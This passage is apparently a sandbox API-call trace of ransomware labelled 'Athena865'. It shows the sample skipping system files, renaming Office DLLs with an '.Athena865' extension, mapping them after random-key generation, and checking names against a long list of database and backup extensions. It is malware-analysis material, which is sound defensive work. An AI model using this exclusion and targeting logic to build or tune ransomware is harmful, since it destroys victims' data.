phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.008] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.008] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.009] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x96080, lpName=0x0) returned 0x154 [0068.010] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x96080) returned 0x2d50000 [0068.074] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.076] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.076] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.077] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0068.083] CloseHandle (hObject=0x154) returned 1 [0068.083] CloseHandle (hObject=0x17c) returned 1 [0068.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0068.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.086] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="BCSRUN~2.DLL")) returned 1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".") returned 1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="..") returned 1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="windows") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="bootmgr") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="temp") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="pagefile.sys") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="boot") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="ids.txt") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="ntuser.dat") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="perflogs") returned -1 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2="MSBuild") returned -1 [0068.086] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16 [0068.086] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSRuntimeUI.dll" | out: lpString1="BCSRuntimeUI.dll") returned="BCSRuntimeUI.dll" [0068.086] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16 [0068.086] lstrlenW (lpString="Athena865") returned 9 [0068.086] lstrcmpiW (lpString1="imeUI.dll", lpString2="Athena865") returned 1 [0068.086] lstrlenW (lpString=".dll") returned 4 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".dll") returned 1 [0068.086] lstrlenW (lpString=".lnk") returned 4 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".lnk") returned 1 [0068.086] lstrlenW (lpString=".ini") returned 4 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".ini") returned 1 [0068.086] lstrlenW (lpString=".sys") returned 4 [0068.086] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".sys") returned 1 [0068.086] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16 [0068.086] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll.Athena865") returned 69 [0068.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll.athena865"), dwFlags=0x1) returned 1 [0068.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.088] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14208) returned 1 [0068.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0068.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.088] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.089] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.089] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.089] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a80, lpName=0x0) returned 0x154 [0068.091] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a80) returned 0x100000 [0068.160] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.177] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.184] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.189] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0068.189] CloseHandle (hObject=0x154) returned 1 [0068.189] CloseHandle (hObject=0x17c) returned 1 [0068.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0068.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.190] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".") returned 1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="..") returned 1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="windows") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="bootmgr") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="temp") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="pagefile.sys") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="boot") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="ids.txt") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="ntuser.dat") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="perflogs") returned -1 [0068.190] lstrcmpiW (lpString1="BCSStr32.dll", lpString2="MSBuild") returned -1 [0068.190] lstrlenW (lpString="BCSStr32.dll") returned 12 [0068.190] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSStr32.dll" | out: lpString1="BCSStr32.dll") returned="BCSStr32.dll" [0068.190] lstrlenW (lpString="BCSStr32.dll") returned 12 [0068.190] lstrlenW (lpString="Athena865") returned 9 [0068.190] lstrcmpiW (lpString1="Str32.dll", lpString2="Athena865") returned 1 [0068.191] lstrlenW (lpString=".dll") returned 4 [0068.191] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".dll") returned 1 [0068.191] lstrlenW (lpString=".lnk") returned 4 [0068.191] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".lnk") returned 1 [0068.191] lstrlenW (lpString=".ini") returned 4 [0068.191] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".ini") returned 1 [0068.191] lstrlenW (lpString=".sys") returned 4 [0068.191] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".sys") returned 1 [0068.191] lstrlenW (lpString="BCSStr32.dll") returned 12 [0068.191] lstrlenW (lpString="bak") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0068.191] lstrlenW (lpString="ba_") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0068.191] lstrlenW (lpString="dbb") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0068.191] lstrlenW (lpString="vmdk") returned 4 [0068.191] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0068.191] lstrlenW (lpString="rar") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0068.191] lstrlenW (lpString="zip") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0068.191] lstrlenW (lpString="tgz") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0068.191] lstrlenW (lpString="vbox") returned 4 [0068.191] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0068.191] lstrlenW (lpString="vdi") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0068.191] lstrlenW (lpString="vhd") returned 3 [0068.191] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0068.191] lstrlenW (lpString="vhdx") returned 4 [0068.191] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0068.192] lstrlenW (lpString="avhd") returned 4 [0068.192] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0068.192] lstrlenW (lpString="db") returned 2 [0068.192] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0068.192] lstrlenW (lpString="db2") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0068.192] lstrlenW (lpString="db3") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0068.192] lstrlenW (lpString="dbf") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0068.192] lstrlenW (lpString="mdf") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0068.192] lstrlenW (lpString="mdb") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0068.192] lstrlenW (lpString="sql") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0068.192] lstrlenW (lpString="sqlite") returned 6 [0068.192] lstrcmpiW (lpString1="32.dll", lpString2="sqlite") returned -1 [0068.192] lstrlenW (lpString="sqlite3") returned 7 [0068.192] lstrcmpiW (lpString1="r32.dll", lpString2="sqlite3") returned -1 [0068.192] lstrlenW (lpString="sqlitedb") returned 8 [0068.192] lstrcmpiW (lpString1="tr32.dll", lpString2="sqlitedb") returned 1 [0068.192] lstrlenW (lpString="xml") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0068.192] lstrlenW (lpString="$er") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0068.192] lstrlenW (lpString="4dd") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0068.192] lstrlenW (lpString="4dl") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0068.192] lstrlenW (lpString="^^^") returned 3 [0068.192] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0068.193] lstrlenW (lpString="abs") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0068.193] lstrlenW (lpString="abx") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0068.193] lstrlenW (lpString="accdb") returned 5 [0068.193] lstrcmpiW (lpString1="2.dll", lpString2="accdb") returned -1 [0068.193] lstrlenW (lpString="accdc") returned 5 [0068.193] lstrcmpiW (lpString1="2.dll", lpString2="accdc") returned -1 [0068.193] lstrlenW (lpString="accde") returned 5 [0068.193] lstrcmpiW (lpString1="2.dll", lpString2="accde") returned -1 [0068.193] lstrlenW (lpString="accdr") returned 5 [0068.193] lstrcmpiW (lpString1="2.dll", lpString2="accdr") returned -1 [0068.193] lstrlenW (lpString="accdt") returned 5 [0068.193] lstrcmpiW (lpString1="2.dll", lpString2="accdt") returned -1 [0068.193] lstrlenW (lpString="accdw") returned 5 [0068.193] lstrcmpiW (lpString1="2.dll", lpString2="accdw") returned -1 [0068.193] lstrlenW (lpString="accft") returned 5 [0068.193] lstrcmpiW (lpString1="2.dll", lpString2="accft") returned -1 [0068.193] lstrlenW (lpString="adb") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0068.193] lstrlenW (lpString="adb") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0068.193] lstrlenW (lpString="ade") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0068.193] lstrlenW (lpString="adf") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0068.193] lstrlenW (lpString="adn") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0068.193] lstrlenW (lpString="adp") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0068.193] lstrlenW (lpString="alf") returned 3 [0068.193] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0068.193] lstrlenW (lpString="ask") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0068.194] lstrlenW (lpString="btr") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0068.194] lstrlenW (lpString="cat") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0068.194] lstrlenW (lpString="cdb") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0068.194] lstrlenW (lpString="ckp") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0068.194] lstrlenW (lpString="cma") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0068.194] lstrlenW (lpString="cpd") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0068.194] lstrlenW (lpString="dacpac") returned 6 [0068.194] lstrcmpiW (lpString1="32.dll", lpString2="dacpac") returned -1 [0068.194] lstrlenW (lpString="dad") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0068.194] lstrlenW (lpString="dadiagrams") returned 10 [0068.194] lstrcmpiW (lpString1="SStr32.dll", lpString2="dadiagrams") returned 1 [0068.194] lstrlenW (lpString="daschema") returned 8 [0068.194] lstrcmpiW (lpString1="tr32.dll", lpString2="daschema") returned 1 [0068.194] lstrlenW (lpString="db-journal") returned 10 [0068.194] lstrcmpiW (lpString1="SStr32.dll", lpString2="db-journal") returned 1 [0068.194] lstrlenW (lpString="db-shm") returned 6 [0068.194] lstrcmpiW (lpString1="32.dll", lpString2="db-shm") returned -1 [0068.194] lstrlenW (lpString="db-wal") returned 6 [0068.194] lstrcmpiW (lpString1="32.dll", lpString2="db-wal") returned -1 [0068.194] lstrlenW (lpString="dbc") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0068.194] lstrlenW (lpString="dbs") returned 3 [0068.194] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0068.194] lstrlenW (lpString="dbt") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0068.195] lstrlenW (lpString="dbv") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0068.195] lstrlenW (lpString="dbx") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0068.195] lstrlenW (lpString="dcb") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0068.195] lstrlenW (lpString="dct") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0068.195] lstrlenW (lpString="dcx") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0068.195] lstrlenW (lpString="ddl") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0068.195] lstrlenW (lpString="dlis") returned 4 [0068.195] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0068.195] lstrlenW (lpString="dp1") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0068.195] lstrlenW (lpString="dqy") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0068.195] lstrlenW (lpString="dsk") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0068.195] lstrlenW (lpString="dsn") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0068.195] lstrlenW (lpString="dtsx") returned 4 [0068.195] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0068.195] lstrlenW (lpString="dxl") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0068.195] lstrlenW (lpString="eco") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0068.195] lstrlenW (lpString="ecx") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0068.195] lstrlenW (lpString="edb") returned 3 [0068.195] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0068.196] lstrlenW (lpString="epim") returned 4 [0068.196] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0068.196] lstrlenW (lpString="fcd") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0068.196] lstrlenW (lpString="fdb") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0068.196] lstrlenW (lpString="fic") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0068.196] lstrlenW (lpString="flexolibrary") returned 12 [0068.196] lstrlenW (lpString="fm5") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0068.196] lstrlenW (lpString="fmp") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0068.196] lstrlenW (lpString="fmp12") returned 5 [0068.196] lstrcmpiW (lpString1="2.dll", lpString2="fmp12") returned -1 [0068.196] lstrlenW (lpString="fmpsl") returned 5 [0068.196] lstrcmpiW (lpString1="2.dll", lpString2="fmpsl") returned -1 [0068.196] lstrlenW (lpString="fol") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0068.196] lstrlenW (lpString="fp3") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0068.196] lstrlenW (lpString="fp4") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0068.196] lstrlenW (lpString="fp5") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0068.196] lstrlenW (lpString="fp7") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0068.196] lstrlenW (lpString="fpt") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0068.196] lstrlenW (lpString="frm") returned 3 [0068.196] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0068.196] lstrlenW (lpString="gdb") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0068.197] lstrlenW (lpString="gdb") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0068.197] lstrlenW (lpString="grdb") returned 4 [0068.197] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0068.197] lstrlenW (lpString="gwi") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0068.197] lstrlenW (lpString="hdb") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0068.197] lstrlenW (lpString="his") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0068.197] lstrlenW (lpString="ib") returned 2 [0068.197] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0068.197] lstrlenW (lpString="idb") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0068.197] lstrlenW (lpString="ihx") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0068.197] lstrlenW (lpString="itdb") returned 4 [0068.197] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0068.197] lstrlenW (lpString="itw") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0068.197] lstrlenW (lpString="jet") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0068.197] lstrlenW (lpString="jtx") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0068.197] lstrlenW (lpString="kdb") returned 3 [0068.197] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0068.197] lstrlenW (lpString="kexi") returned 4 [0068.197] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0068.197] lstrlenW (lpString="kexic") returned 5 [0068.197] lstrcmpiW (lpString1="2.dll", lpString2="kexic") returned -1 [0068.197] lstrlenW (lpString="kexis") returned 5 [0068.197] lstrcmpiW (lpString1="2.dll", lpString2="kexis") returned -1 [0068.198] lstrlenW (lpString="lgc") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0068.198] lstrlenW (lpString="lwx") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0068.198] lstrlenW (lpString="maf") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0068.198] lstrlenW (lpString="maq") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0068.198] lstrlenW (lpString="mar") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0068.198] lstrlenW (lpString="marshal") returned 7 [0068.198] lstrcmpiW (lpString1="r32.dll", lpString2="marshal") returned 1 [0068.198] lstrlenW (lpString="mas") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0068.198] lstrlenW (lpString="mav") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0068.198] lstrlenW (lpString="maw") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0068.198] lstrlenW (lpString="mdbhtml") returned 7 [0068.198] lstrcmpiW (lpString1="r32.dll", lpString2="mdbhtml") returned 1 [0068.198] lstrlenW (lpString="mdn") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0068.198] lstrlenW (lpString="mdt") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0068.198] lstrlenW (lpString="mfd") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0068.198] lstrlenW (lpString="mpd") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0068.198] lstrlenW (lpString="mrg") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0068.198] lstrlenW (lpString="mud") returned 3 [0068.198] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0068.198] lstrlenW (lpString="mwb") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0068.199] lstrlenW (lpString="myd") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0068.199] lstrlenW (lpString="ndf") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0068.199] lstrlenW (lpString="nnt") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0068.199] lstrlenW (lpString="nrmlib") returned 6 [0068.199] lstrcmpiW (lpString1="32.dll", lpString2="nrmlib") returned -1 [0068.199] lstrlenW (lpString="ns2") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="ns2") 